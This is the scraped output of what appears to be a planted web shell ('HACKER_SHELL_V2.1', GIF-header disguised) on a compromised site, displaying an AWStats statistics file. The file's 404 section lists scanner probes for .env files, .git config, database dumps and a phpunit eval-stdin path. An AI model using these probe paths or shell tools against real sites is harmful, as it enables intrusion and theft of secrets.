GIF89a; HACKER_SHELL_V2.1

TERMINAL EXPLOIT V2.1

[LOCATION]: /home/imgbumppy/tmp/awstats/

Folder Link Grabber

PREFIX: SUFFIX:

Mass File Creator

FILENAME: CONTENT:

Quick Actions

FILE:
NEW_ITEM:
AWSTATS DATA FILE 7.7 (build 20180105)
# If you remove this file, all statistics for date 202102 will be lost/reset.
# Last config file used to build this data file was /home/imgbumppy/tmp/awstats/awstats.img.bumppy.com.conf.

# Position (offset in bytes) in this file for beginning of each section for
# direct I/O access. If you made changes somewhere in this file, you should
# also remove completely the MAP section (AWStats will rewrite it at next
# update).
BEGIN_MAP 28
POS_GENERAL 2012                
POS_TIME 2690                
POS_VISITOR 14328               
POS_DAY 26501               
POS_DOMAIN 3533                
POS_LOGIN 3780                
POS_ROBOT 3935                
POS_WORMS 4920                
POS_EMAILSENDER 5051                
POS_EMAILRECEIVER 5194                
POS_SESSION 27240               
POS_SIDER 27410               
POS_FILETYPES 5329                
POS_DOWNLOADS 5483                
POS_OS 5531                
POS_BROWSER 5769                
POS_SCREENSIZE 6721                
POS_UNKNOWNREFERER 6795                
POS_UNKNOWNREFERERBROWSER 8224                
POS_ORIGIN 9323                
POS_SEREFERRALS 9457                
POS_PAGEREFS 9669                
POS_SEARCHWORDS 9839                
POS_KEYWORDS 9991                
POS_MISC 2354                
POS_ERRORS 10050               
POS_CLUSTER 3636                
POS_SIDER_404 10136               
END_MAP

# LastLine    = Date of last record processed - Last record line number in last log - Last record offset in last log - Last record signature value
# FirstTime   = Date of first visit for history file
# LastTime    = Date of last visit for history file
# LastUpdate  = Date of last update - Nb of parsed records - Nb of parsed old records - Nb of parsed new records - Nb of parsed corrupted - Nb of parsed dropped
# TotalVisits = Number of visits
# TotalUnique = Number of unique visitors
# MonthHostsKnown   = Number of hosts known
# MonthHostsUnKnown = Number of hosts unknown
BEGIN_GENERAL 8
LastLine 20210301001212 24 4563 11964126263940
FirstTime 20210201034541
LastTime 20210228210551
LastUpdate 20210301174648 24 0 23 0 0
TotalVisits 248                 
TotalUnique 139                 
MonthHostsKnown 0                   
MonthHostsUnknown 414                 
END_GENERAL

# Misc ID - Pages - Hits - Bandwidth
BEGIN_MISC 10
AddToFavourites 0 0 0
TotalMisc 0 0 0
RealPlayerSupport 0 0 0
DirectorSupport 0 0 0
JavascriptDisabled 0 0 0
PDFSupport 0 0 0
WindowsMediaPlayerSupport 0 0 0
JavaEnabled 0 0 0
FlashSupport 0 0 0
QuickTimeSupport 0 0 0
END_MISC

# Hour - Pages - Hits - Bandwidth - Not viewed Pages - Not viewed Hits - Not viewed Bandwidth
BEGIN_TIME 24
0 16 35 2594913 22 66 3120116
1 12 27 1789425 48 115 4060978
2 15 25 942617 31 91 6758311
3 13 25 913128 1 54 5275453
4 7 24 2140001 7 59 6314778
5 8 20 934080 18 69 3921249
6 6 14 719533 21 64 2665305
7 11 29 2197505 11 55 2529856
8 5 30 2128712 8 51 4270320
9 14 36 1877532 16 52 2169515
10 14 25 1044427 10 58 6415625
11 6 23 1929819 15 68 2235536
12 5 20 4178252 10 61 3112542
13 13 33 2777898 5 62 4139882
14 3 21 1482158 2 47 2160038
15 31 50 3770827 44 102 2368922
16 15 35 2050168 10 50 7183950
17 13 30 1432670 28 88 3394681
18 8 23 1350882 12 57 2972032
19 11 33 2300854 25 77 3618128
20 18 32 1536676 25 93 4491539
21 6 29 2768781 28 109 4522427
22 7 24 1368340 5 112 6004219
23 7 22 1041973 3 46 2721276
END_TIME

# Domain - Pages - Hits - Bandwidth
# The 25 first Pages must be first (order not required for others)
BEGIN_DOMAIN 2
us 261 633 42656340
eu 3 32 2614831
END_DOMAIN

# Cluster ID - Pages - Hits - Bandwidth
BEGIN_CLUSTER 0
END_CLUSTER

# Login - Pages - Hits - Bandwidth - Last visit
# The 10 first Pages must be first (order not required for others)
BEGIN_LOGIN 0
END_LOGIN

# Robot ID - Hits - Bandwidth - Last visit - Hits on robots.txt
# The 25 first Hits must be first (order not required for others)
BEGIN_ROBOT 23
DotBot/ 417 49454083 20210228100626 0
no_user_agent 202 8201613 20210212220021 0
bingbot/ 166 21353967 20210228144924 0
Googlebot/ 44 173975 20210228191603 0
bot[\s_+:,\.\;\/\\-] 44 1509427 20210226160315 0
Googlebot\-Image/ 12 2610748 20210228024646 0
Baiduspider/ 11 600291 20210228232459 0
YandexBot/ 10 0 20210225023441 0
Mail\.RU_Bot/ 8 6085563 20210226080255 0
YandexImages/ 5 633929 20210227021034 0
Dalvik/ 4 141877 20210228182405 0
spider 3 282598 20210218031952 0
discover 2 0 20210207015852 0
(firefox/)([0-9]\.|[0-1][0]\.) 2 0 20210221085507 0
facebookexternalhit/ 2 1082260 20210228134451 0
TelegramBot 2 215806 20210223131014 0
crawl 2 0 20210203062748 0
oBot/ 2 0 20210216010141 0
CCBot/ 1 0 20210223155111 0
curl 1 0 20210220155349 0
baidu 1 3815017 20210223100048 0
CFNetwork 1 141877 20210206195210 0
yandex 1 123647 20210221081938 0
END_ROBOT

# Worm ID - Hits - Bandwidth - Last visit
# The 5 first Hits must be first (order not required for others)
BEGIN_WORMS 0
END_WORMS

# EMail - Hits - Bandwidth - Last visit
# The 20 first Hits must be first (order not required for others)
BEGIN_EMAILSENDER 0
END_EMAILSENDER

# EMail - Hits - Bandwidth - Last visit
# The 20 first hits must be first (order not required for others)
BEGIN_EMAILRECEIVER 0
END_EMAILRECEIVER

# Files type - Hits - Bandwidth - Bandwidth without compression - Bandwidth after compression
BEGIN_FILETYPES 5
png 10 5879529 0 0
jpg 386 38363149 0 0
html 264 0 0 0
jpeg 2 443602 0 0
gif 3 584891 0 0
END_FILETYPES

# Downloads - Hits - Bandwidth
BEGIN_DOWNLOADS 0
END_DOWNLOADS

# OS ID - Hits
BEGIN_OS ID - Hits - Pages 14
win7 49 46
win8.1 1 1
linuxandroid 9 6
ios_ipad 3 2
unix 1 0
macosx11 3 3
winlong 24 24
linux 93 92
winxp 3 3
macosx 35 22
win8 1 0
win10 29 28
macosx12 7 6
Unknown 407 31
END_OS

# Browser ID - Hits - Pages
BEGIN_BROWSER 43
chrome83.0.4089.0 1 1
chrome83.0.4103.61 1 1
chrome60.0.3112.107 1 1
chrome78.0.3904.62 1 1
chrome78.0.3904.108 7 7
cloudflare 2 2
chrome79.0.3945.117 1 0
chrome47.0.2526.106 2 2
chrome55.0.2883.87 1 1
chrome86.0.4240.183 1 1
chrome41.0.2228.0 1 1
chrome80.0.3987.149 9 9
chrome59.0.3071.115 1 0
chrome55.0.2883.95 6 6
chrome74.0.3729.169 2 2
safari9.0 3 2
chrome88.0.4240.193 6 6
chrome72.0.3626.109 9 8
chrome87.0.4280.60 1 0
chrome53.0.2785.143 1 1
chrome86.0.4240.198 1 0
chrome77.0.3865.120 1 0
chrome75.0.3770.100 1 1
chrome69.0.3497.81 1 1
firefox57.0 2 2
msie6.0 2 2
msie9.0 55 55
chrome80.0.3987.99 1 0
chrome81.0.4044.138 10 0
msie11.0 4 1
msie7.0 1 1
chrome49.0.2623.75 85 85
Unknown 404 28
firefox49.0 1 1
chrome88.0.4324.96 2 0
android 2 2
safari14.0.3 2 0
chrome83.0.4103.34 1 1
chrome84.0.4147.125 22 22
chrome86.0.4240.75 1 1
chrome81.0.4044.129 7 7
mozilla 1 1
chrome73.0.3683.90 1 1
END_BROWSER

# Screen size - Hits
BEGIN_SCREENSIZE 0
END_SCREENSIZE

# Unknown referer OS - Last visit date
BEGIN_UNKNOWNREFERER 18
OperaMini(MAUI_MRE;Opera_Mini/4.4.33576;en) 20210208190744
Mozilla/5.0_(compatible;_NetcraftSurveyAgent/1.0;__info@netcraft.com) 20210228102115
python-requests/2.25.1 20210210012752
NativeOperaMini(Spreadtrum/HW_Version:________fp6531_bar;Native_Opera_Mini/4.4.33961;en) 20210223050701
whisper/8.28.0_(sh.whisper.whisperapp;_build:1;_iOS_14.4.0)_Alamofire/4.7.3 20210228113836
Mozilla/5.0_(compatible;_CloudFlare-AlwaysOnline/1.0;__http://www.cloudflare.com/always-online)_AppleWebKit/534.34 20210216131308
Expanse_indexes_the_network_perimeters_of_our_customers._If_you_have_any_questions_or_concerns,_please_reach_out_to:_scaninfo@expanseinc.com 20210227115835
Mozilla/5.0_(compatible;_CloudFlare-AlwaysOnline/1.0;_http://www.cloudflare.com/always-online) 20210216131307
NetSystemsResearch_studies_the_availability_of_various_services_across_the_internet._Our_website_is_netsystemsresearch.com 20210228195735
okhttp/3.12.12 20210228212859
adreview/1.0 20210209172852
dBpoweramp 20210206082252
OperaMini(Fucus/Unknown;Opera_Mini/4.4.33576;en) 20210228110555
YahooCacheSystem;_YahooWebServiceClient 20210219011947
Reflect/1.0.6_(tech.reflect;_build:44;_iOS_14.4.0)_Alamofire/4.8.2 20210218112153
Reflect/1.0.6_(tech.reflect;_build:44;_iOS_14.3.0)_Alamofire/4.8.2 20210205020005
Photon/1.0 20210228234645
willnorris/imageproxy 20210226031303
END_UNKNOWNREFERER

# Unknown referer Browser - Last visit date
BEGIN_UNKNOWNREFERERBROWSER 15
OperaMini(MAUI_MRE;Opera_Mini/4.4.33576;en) 20210208190744
python-requests/2.25.1 20210210012752
Expanse_indexes_the_network_perimeters_of_our_customers._If_you_have_any_questions_or_concerns,_please_reach_out_to:_scaninfo@expanseinc.com 20210227115835
NativeOperaMini(Spreadtrum/HW_Version:________fp6531_bar;Native_Opera_Mini/4.4.33961;en) 20210223050701
whisper/8.28.0_(sh.whisper.whisperapp;_build:1;_iOS_14.4.0)_Alamofire/4.7.3 20210228113836
NetSystemsResearch_studies_the_availability_of_various_services_across_the_internet._Our_website_is_netsystemsresearch.com 20210228195735
adreview/1.0 20210209172852
dBpoweramp 20210206082252
OperaMini(Fucus/Unknown;Opera_Mini/4.4.33576;en) 20210228110555
YahooCacheSystem;_YahooWebServiceClient 20210219011947
Reflect/1.0.6_(tech.reflect;_build:44;_iOS_14.4.0)_Alamofire/4.8.2 20210218112153
okhttp/3.12.12 20210228212859
Photon/1.0 20210228234645
Reflect/1.0.6_(tech.reflect;_build:44;_iOS_14.3.0)_Alamofire/4.8.2 20210205020005
willnorris/imageproxy 20210226031303
END_UNKNOWNREFERERBROWSER

# Origin - Pages - Hits 
BEGIN_ORIGIN 6
From0 261 657
From1 0 0
From2 0 3
From3 0 2
From4 3 3
From5 0 0
END_ORIGIN

# Search engine referers ID - Pages - Hits
BEGIN_SEREFERRALS 3
www_google_com 0 1
images_search_yahoo_com 0 1
search_yahoo_com 0 1
END_SEREFERRALS

# External page referers - Pages - Hits
# The 25 first Pages must be first (order not required for others)
BEGIN_PAGEREFS 1
http://domain.com 0 2
END_PAGEREFS

# Search keyphrases - Number of search
# The 10 first number of search must be first (order not required for others)
BEGIN_SEARCHWORDS 0
END_SEARCHWORDS

# Search keywords - Number of search
# The 25 first number of search must be first (order not required for others)
BEGIN_KEYWORDS 0
END_KEYWORDS

# Errors - Hits - Bandwidth
BEGIN_ERRORS 1
404 622 0
END_ERRORS

# URL with 404 errors - Hits - Last URL referrer
BEGIN_SIDER_404 171
/audio/.env 1 -
/new/ 1 -
/data.sql 1 -
/temp/ 1 -
/infophp.php 2 -
/site/ 1 -
/wp-content/plugins/ioptimization/IOptimize.php 1 www.google.com
/wp1/ 1 -
/img.bumppy.com.sql.z 1 -
/.git/config 1 -
/phpversion.php 2 -
/2019/ 1 -
/2020/ 1 -
/img.bumppy.com.tar.z 1 -
/shop/wp-includes/wlwmanifest.xml 7 -
/mysqldump.sql 1 -
/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 -
/cms/wp-includes/wlwmanifest.xml 7 -
/2019/wp-includes/wlwmanifest.xml 7 -
/protected/.env 1 -
/img.bumppy.com.sql.gz 1 -
/wp-admin/admin.php 3 -
/wp2/ 1 -
/admin/wp-login.php 1 -
/img.bumppy.com.sql 2 -
/wordpress/ 1 -
/test.php 2 -
/demo/ 1 -
/wordpress/wp-includes/wlwmanifest.xml 7 -
/wordpress/wp-login.php 1 -
/blog/wp-login.php 1 -
/img.bumppy.com.tar.gz 2 -
/core/.env 2 -
/bak/ 1 -
/sites/all/libraries/mailchimp/.env 1 -
/crm/.env 1 -
/administrator/wp-login.php 1 -
/install/ 1 -
/blog/.env 1 -
/wp/ 1 -
/info.php 2 -
/wp1/wp-includes/wlwmanifest.xml 7 -
/database.sql 1 -
/vendor/laravel/.env 1 -
/laravel/.env 2 -
/dev/ 1 -
/2020/wp-includes/wlwmanifest.xml 2 -
/dump.sql 2 -
/wp-content/uploads/dump.sql 1 -
/blog/ 1 -
/wp-admin/admin-ajax.php 3 -
/base/.env 1 -
/dbdump.sql 1 -
/.env.production.local 1 -
/wp-admin/.env 1 -
/old-site/ 1 -
/old/ 1 -
/wp-login.php 4 -
/sito/wp-includes/wlwmanifest.xml 7 -
/old/wp-admin/ 1 http://img.bumppy.com/
/img.bumppy.com.sql.zip 1 -
/website/wp-includes/wlwmanifest.xml 7 -
/storage/.env 1 -
/user/login 1 -
/wp-content/force-download.php 1 -
/.env.development.local 1 -
/img.bumppy.com.7z 1 -
/v2/ 1 -
/conf/.env 1 -
/wp/wp-login.php 1 -
/cms/ 1 -
/local/.env 1 -
/robots.txt 261 -
/blog/wp-includes/wlwmanifest.xml 7 -
/wp-includes/fonts/css.php 1 -
/app/.env 1 -
/main/ 1 -
/img.bumppy.com.sql.xz 1 -
/test/wp-includes/wlwmanifest.xml 7 -
/translate.sql 1 -
/xmlrpc.php 8 -
/bk/ 1 -
/superuser/wp-login.php 1 -
/db_backup.sql 1 -
/news/wp-includes/wlwmanifest.xml 7 -
/manager/wp-login.php 1 -
/db.sql 1 -
/src/.env 1 -
/img.bumppy.com/.env 1 -
/web/wp-includes/wlwmanifest.xml 7 -
/wordpress/wp-admin/ 3 http://img.bumppy.com/
/img.bumppy.com.gz 1 -
/time.php 2 -
/img.bumppy.com.sql.bz2 1 -
/web/ 1 -
/mysql.sql 1 -
/wp2/wp-includes/wlwmanifest.xml 7 -
/.env 15 -
/2018/wp-includes/wlwmanifest.xml 5 -
/users.sql 1 -
/wp-includes/css/css.php 1 -
/img.bumppy.com.db 1 -
/wp/wp-includes/wlwmanifest.xml 7 -
/adminitems/wp-login.php 1 -
/img.bumppy.com.sqlitedb 1 -
/wp-admin/edit.php 2 -
/img.bumppy.com.sql.tar.gz 1 -
/api/.env 1 -
/v1/ 1 -
/i.php 2 -
/cgi-bin/.env 1 -
/adminLogin/wp-login.php 1 -
/backup.sql 2 -
/adm/wp-login.php 1 -
/old/.env 1 -
/img.bumppy.com.zip 1 -
/bumppy/2017/11/7-Ladies-Shared-The-Sexiest-Sexts-They%C3%A2%E2%82%AC%E2%84%A2ve-Ever-Received5.png 1 -
/backend/.env 1 -
/newsite/.env 1 -
/.env.dev.local 1 -
/app/config/.env 1 -
/vendor/.env 1 -
/img.bumppy.com.lz 1 -
/1.sql 1 -
/site/wp-includes/wlwmanifest.xml 7 -
/asdf.php 2 -
/database/.env 1 -
/_profiler/empty/search/results 1 -
/img.bumppy.com.sql.rar 1 -
/apps/.env 1 -
/wp-admin/ 3 http://img.bumppy.com/
/public/.env 2 -
/img.bumppy.com.sql.tar.z 2 -
/img.bumppy.com.sql.7z 1 -
/login/wp-login.php 1 -
/media/wp-includes/wlwmanifest.xml 5 -
/.env.prod.local 1 -
/img.bumppy.com.sqlite 1 -
/old-wp/ 1 -
/php_info.php 2 -
/administration/wp-login.php 1 -
/backup/ 1 -
/.git/HEAD 6 -
/img.bumppy.com.sql.lz 1 -
/php.php 2 -
/test/ 1 -
/OLD/wp-admin/ 2 http://img.bumppy.com/
/backup/wp-admin/ 2 http://img.bumppy.com/
/pinfo.php 2 -
/library/.env 1 -
/sql.sql 1 -
/admin/.env 1 -
/temp.sql 1 -
/wp-content/.env 1 -
/home/ 1 -
/admin_area/wp-login.php 1 -
/img.bumppy.com.rar 1 -
/img.bumppy.com.bz2 2 -
/2018/ 1 -
/site.sql 1 -
/ads.txt 32 -
/wp/wp-admin/ 2 http://img.bumppy.com/
/www/.env 1 -
/tmp/ 1 -
/img.bumppy.com.xz 1 -
/access/wp-login.php 1 -
/wp-includes/wlwmanifest.xml 7 -
/new/.env 1 -
/img.bumppy.com.z 1 -
/phpinfo.php 2 -
/localhost.sql 1 -
END_SIDER_404

# Host - Pages - Hits - Bandwidth - Last visit date - [Start date of last visit] - [Last page of last visit]
# [Start date of last visit] and [Last page of last visit] are saved only if session is not finished
# The 25 first Hits must be first (order not required for others)
BEGIN_VISITOR 414
162.158.74.84 36 36 0 20210228210551
108.162.229.177 10 10 0 20210228050638
172.69.63.112 8 8 0 20210222023949
162.158.187.146 8 8 0 20210225191116
162.158.107.92 4 4 0 20210215071213
108.162.245.101 4 4 0 20210228203336
172.69.63.86 4 4 0 20210224192308
162.158.78.93 4 4 0 20210202001627
172.68.37.35 3 3 0 20210224031419
108.162.246.34 3 3 0 20210217011537
108.162.215.219 3 3 0 20210215021756
162.158.78.173 3 3 0 20210223153940
172.69.34.69 3 3 0 20210223185101
108.162.219.109 3 3 0 20210210071627
108.162.245.11 3 3 0 20210208021336
172.69.63.174 3 3 0 20210214173347
172.69.222.49 3 3 0 20210210201855
172.69.33.226 3 3 0 20210216233030
108.162.210.219 3 3 0 20210208064027
172.69.135.223 3 3 0 20210219155930
108.162.215.67 3 3 0 20210216194848
172.69.35.22 3 3 0 20210223095133
162.158.79.88 2 2 0 20210208153305
172.69.33.120 2 2 0 20210224095833
162.158.154.53 2 2 0 20210213001628
162.158.74.57 1 1 0 20210213024724
173.245.54.124 1 1 0 20210221131114
162.158.78.239 0 1 60363 
172.69.196.149 0 1 125927 
162.158.79.146 0 1 2760843 
172.68.132.66 1 1 0 20210212031511
173.245.54.140 0 1 116675 
172.69.63.168 1 2 58348 20210216155406
162.158.63.93 0 1 47078 
172.69.63.60 0 1 123104 
162.158.111.34 0 1 197741 
162.158.78.9 0 1 220583 
162.158.79.82 0 2 349012 
141.101.105.99 0 1 210837 
172.68.65.101 0 2 106422 
172.68.65.23 1 1 0 20210218153100
108.162.237.81 0 2 200193 
108.162.241.59 0 1 141877 
173.245.54.142 0 1 49274 
162.158.74.219 1 1 0 20210228031328
173.245.54.38 0 2 282472 
172.68.65.50 0 1 56392 
141.101.77.7 0 1 71145 
173.245.54.132 0 1 204471 
172.69.63.180 0 6 473642 
172.69.33.92 0 2 125112 
162.158.63.59 1 1 0 20210211002341
172.68.65.131 0 1 123717 
162.158.178.238 0 3 174906 
172.69.35.90 0 1 100292 
172.69.63.134 0 1 80127 
172.68.65.83 0 2 110624 
172.68.37.45 0 1 141877 
141.101.104.196 0 1 125076 
172.69.63.98 0 1 61573 
141.101.105.31 0 1 66721 
141.101.76.199 0 1 48755 
172.68.65.205 0 1 64640 
108.162.245.125 0 1 83878 
162.158.74.83 2 2 0 20210221104629
172.69.62.251 0 1 84202 
172.69.63.10 0 2 212118 
173.245.54.238 0 1 77514 
162.158.62.186 0 2 169858 
162.158.79.60 0 1 53892 
108.162.219.27 0 1 1378535 
172.68.174.134 1 1 0 20210203183448
162.158.79.118 0 1 93768 
162.158.78.254 0 1 54923 
108.162.229.61 2 2 0 20210227093829
173.245.54.216 1 1 0 20210209160825
172.68.65.203 0 2 139785 
172.69.63.44 0 1 61885 
173.245.52.152 0 1 103237 
172.68.65.223 0 1 173123 
141.101.104.104 0 1 67731 
172.69.63.210 0 1 160694 
173.245.54.176 0 2 468628 
162.158.187.110 0 1 54265 
162.158.78.199 0 1 303242 
162.158.107.204 1 1 0 20210213202509
162.158.78.141 0 1 196515 
172.69.33.142 2 2 0 20210211102534
172.69.63.172 0 1 68629 
162.158.79.34 0 1 75158 
162.158.79.182 0 1 24898 
172.68.65.136 0 1 66812 
172.69.63.178 0 2 221136 
141.101.76.81 0 1 3162 
108.162.215.51 1 1 0 20210227154959
173.245.54.84 0 1 144043 
172.68.65.179 0 1 57711 
162.158.78.14 0 1 182336 
172.69.135.121 0 1 54531 
108.162.246.36 1 1 0 20210206013402
162.158.78.245 0 1 94702 
162.158.78.13 0 1 57222 
108.162.215.129 1 1 0 20210208120022
173.245.54.74 0 2 116467 
172.69.63.124 0 1 10917 
172.68.65.189 0 1 118662 
162.158.203.26 0 1 68236 
172.69.63.188 2 4 215020 20210206160453
172.68.65.85 0 1 69485 
141.101.68.43 1 1 0 20210224203251
141.101.76.71 0 1 3480 
172.69.63.34 0 1 78495 
172.69.35.66 0 4 302544 
141.101.105.237 0 1 55236 
162.158.78.15 0 1 182336 
162.158.79.19 0 1 68212 
108.162.216.47 1 1 0 20210224172926
172.69.63.62 0 4 851467 
162.158.79.62 0 1 63930 
172.69.63.251 0 1 113534 
162.158.62.140 0 1 97203 
172.68.65.197 0 1 125140 
108.162.229.205 1 1 0 20210227125002
162.158.79.163 0 1 75636 
172.69.63.40 1 1 0 20210226161358
162.158.146.225 1 2 141877 20210225172815
162.158.78.207 0 4 259916 
172.68.73.7 1 1 0 20210208000606
172.68.142.86 1 1 0 20210223020926
172.69.63.72 0 1 111587 
173.245.54.234 1 1 0 20210227160406
172.68.65.43 0 2 118718 
172.69.54.211 1 1 0 20210219095301
162.158.78.129 0 1 57414 
172.69.170.103 0 1 75636 
173.245.54.66 0 1 37448 
172.69.34.171 0 1 55762 
162.158.255.249 1 1 0 20210209164249
173.245.54.196 0 3 211953 
162.158.78.216 0 1 53062 
162.158.79.190 0 2 205873 
162.158.111.64 0 1 4992 
172.69.62.233 0 1 41427 
162.158.79.46 0 1 67158 
172.69.63.54 0 1 77874 
172.68.65.153 0 1 62904 
172.69.170.131 0 1 57800 
172.69.63.22 0 2 414244 
162.158.89.226 1 1 0 20210206204326
172.69.63.110 0 4 265559 
162.158.187.170 1 1 0 20210220131636
162.158.78.111 0 1 62678 
172.68.65.125 0 1 65316 
108.162.245.151 1 1 0 20210204090717
162.158.107.210 1 1 0 20210220212431
172.68.65.35 0 2 115133 
162.158.186.225 0 1 58246 
162.158.178.38 1 1 0 20210216090320
172.69.170.151 0 1 134763 
162.158.75.82 1 1 0 20210207105523
172.69.55.193 0 1 209689 
108.162.245.45 2 2 0 20210227234144
173.245.52.220 0 1 452138 
162.158.78.37 0 1 50430 
173.245.54.222 0 1 260689 
172.69.63.52 0 1 79752 
162.158.78.105 0 1 68846 
162.158.75.23 1 1 0 20210225204301
162.158.78.233 0 1 57530 
162.158.78.63 0 1 67111 
162.158.75.5 2 2 0 20210220052851
173.245.54.220 0 1 49870 
173.245.52.222 1 1 0 20210228102115
172.69.63.254 0 2 243774 
173.245.54.188 0 1 61928 
172.68.65.199 1 1 0 20210222152500
162.158.159.37 0 5 709385 
173.245.54.178 1 2 35674 20210221131111
172.69.62.203 0 1 3201 
172.68.65.65 0 1 52189 
162.158.78.253 0 2 176988 
141.101.104.240 0 6 453816 
162.158.166.182 0 3 174906 
108.162.245.77 0 1 94358 
162.158.79.92 0 1 195151 
172.68.65.45 0 1 93582 
162.158.79.158 0 1 92267 
162.158.62.239 1 1 0 20210226205454
172.69.33.86 0 1 63098 
173.245.54.218 0 2 212498 
141.101.76.63 0 1 141877 
162.158.79.116 0 2 97830 
172.69.170.123 0 1 117395 
173.245.54.110 0 2 167497 
172.68.65.119 0 1 183332 
172.68.65.33 0 1 79939 
141.101.69.32 1 1 0 20210227115835
172.69.142.61 0 1 166215 
108.162.245.9 2 2 0 20210226102926
172.69.34.211 0 1 82567 
172.68.65.133 0 1 55999 
162.158.89.206 1 1 0 20210218021639
108.162.215.218 1 1 0 20210214152043
172.69.208.133 0 1 141877 
173.245.54.86 0 1 66755 
162.158.74.188 2 2 0 20210212135711
108.162.245.211 1 1 0 20210226005131
162.158.212.183 1 1 0 20210222234640
108.162.219.81 0 1 79939 
108.162.212.6 0 1 216406 
172.68.38.131 0 1 161773 
162.158.78.161 0 1 61670 
188.114.111.68 1 1 0 20210221090535
162.158.78.27 0 6 757484 
172.68.65.105 0 2 108534 
162.158.79.242 0 2 139531 
172.68.65.134 0 1 47171 
162.158.78.175 0 1 81195 
172.69.63.234 0 2 343910 
162.158.63.91 0 1 84362 
172.69.62.254 1 1 0 20210215153319
162.158.79.164 0 3 226908 
108.162.245.191 1 1 0 20210203220625
162.158.78.186 0 1 64085 
172.69.63.190 0 1 130763 
141.101.99.242 0 1 45045 
162.158.79.224 0 1 182913 
162.158.78.219 0 1 102842 
172.69.62.245 0 1 53938 
108.162.210.237 0 1 75636 
173.245.54.200 0 1 60343 
162.158.79.254 0 5 315490 
173.245.54.114 0 1 119739 
172.69.63.240 0 2 205635 
162.158.103.196 1 1 0 20210207010802
108.162.216.157 1 1 0 20210221021143
173.245.54.90 0 2 197145 
172.68.238.143 0 1 123647 
108.162.241.31 1 1 0 20210209011439
141.101.105.123 0 3 218877 
172.69.63.56 0 1 72563 
108.162.237.89 1 1 0 20210202152334
172.69.34.23 1 1 0 20210219152510
108.162.245.249 1 1 0 20210205212301
172.68.65.107 1 1 0 20210220202053
172.68.174.13 1 1 0 20210206050957
108.162.241.244 1 1 0 20210218043539
162.158.78.231 0 1 126548 
172.69.63.186 0 1 80826 
172.69.63.114 0 2 141898 
162.158.187.164 0 1 90796 
172.68.65.111 0 1 82207 
172.69.33.118 1 1 0 20210216014843
172.68.65.51 0 10 337270 
162.158.78.87 0 2 142721 
172.69.55.169 0 2 123251 
173.245.54.56 0 1 80558 
141.101.68.13 0 1 141877 
141.101.105.39 0 1 182678 
172.69.35.136 0 1 71145 
172.68.182.13 1 1 0 20210208133250
173.245.54.26 0 1 82034 
162.158.79.222 0 1 106536 
172.69.63.176 0 1 59704 
172.68.65.21 0 1 97873 
172.68.65.95 0 1 50657 
172.69.63.115 0 1 61825 
108.162.245.37 1 1 0 20210216131307
172.68.65.215 0 1 89889 
173.245.54.204 0 1 76324 
172.69.63.232 0 1 75759 
162.158.187.128 0 2 283754 
162.158.79.178 1 2 94283 20210220013223
162.158.79.244 0 1 89321 
141.101.76.127 0 1 180981 
172.69.63.220 0 1 48441 
172.69.62.227 0 2 331926 
172.68.142.44 1 1 0 20210216044435
172.68.65.165 0 1 2627456 
162.158.79.160 0 3 237018 
162.158.212.221 2 2 0 20210226040326
173.245.54.116 0 4 339716 
162.158.79.194 0 1 727947 
172.68.174.123 1 1 0 20210207213751
172.69.62.202 0 1 81422 
172.69.33.225 1 1 0 20210204023624
162.158.212.220 1 1 0 20210226205920
162.158.79.236 0 1 332299 
172.68.65.29 0 1 45260 
162.158.187.192 0 1 63340 
172.68.65.77 0 1 68605 
162.158.78.187 0 1 49213 
162.158.178.237 0 1 58302 
172.68.65.183 0 1 72017 
162.158.7.208 0 2 116604 
162.158.74.90 1 1 0 20210201173252
162.158.78.19 0 2 146690 
141.101.104.224 0 1 90796 
162.158.212.197 2 2 0 20210226205725
141.101.76.87 0 1 89284 
162.158.78.191 0 1 68940 
162.158.79.14 0 1 150399 
172.69.34.197 1 1 0 20210226075437
162.158.203.38 0 1 924057 
172.68.65.130 1 1 0 20210215030907
162.158.187.34 0 1 125140 
108.162.215.91 2 2 0 20210220151540
172.68.65.173 0 3 278702 
172.69.34.245 0 1 55312 
172.69.63.58 1 1 0 20210207003444
172.69.34.189 1 1 0 20210204094109
108.162.215.49 1 1 0 20210220101654
172.68.65.229 0 1 184743 
173.245.54.224 0 2 86284 
172.68.65.17 2 5 225521 20210217160836
162.158.183.190 0 1 90796 
172.69.63.222 0 2 269004 
141.101.76.5 0 1 92874 
162.158.186.219 1 1 0 20210224155307
173.245.54.100 0 1 79799 
172.69.135.213 1 1 0 20210221010322
162.158.79.106 0 9 452915 
172.69.170.139 0 1 563057 
172.69.33.64 0 1 38286 
162.158.79.140 0 1 92357 
173.245.54.208 1 1 0 20210213155338
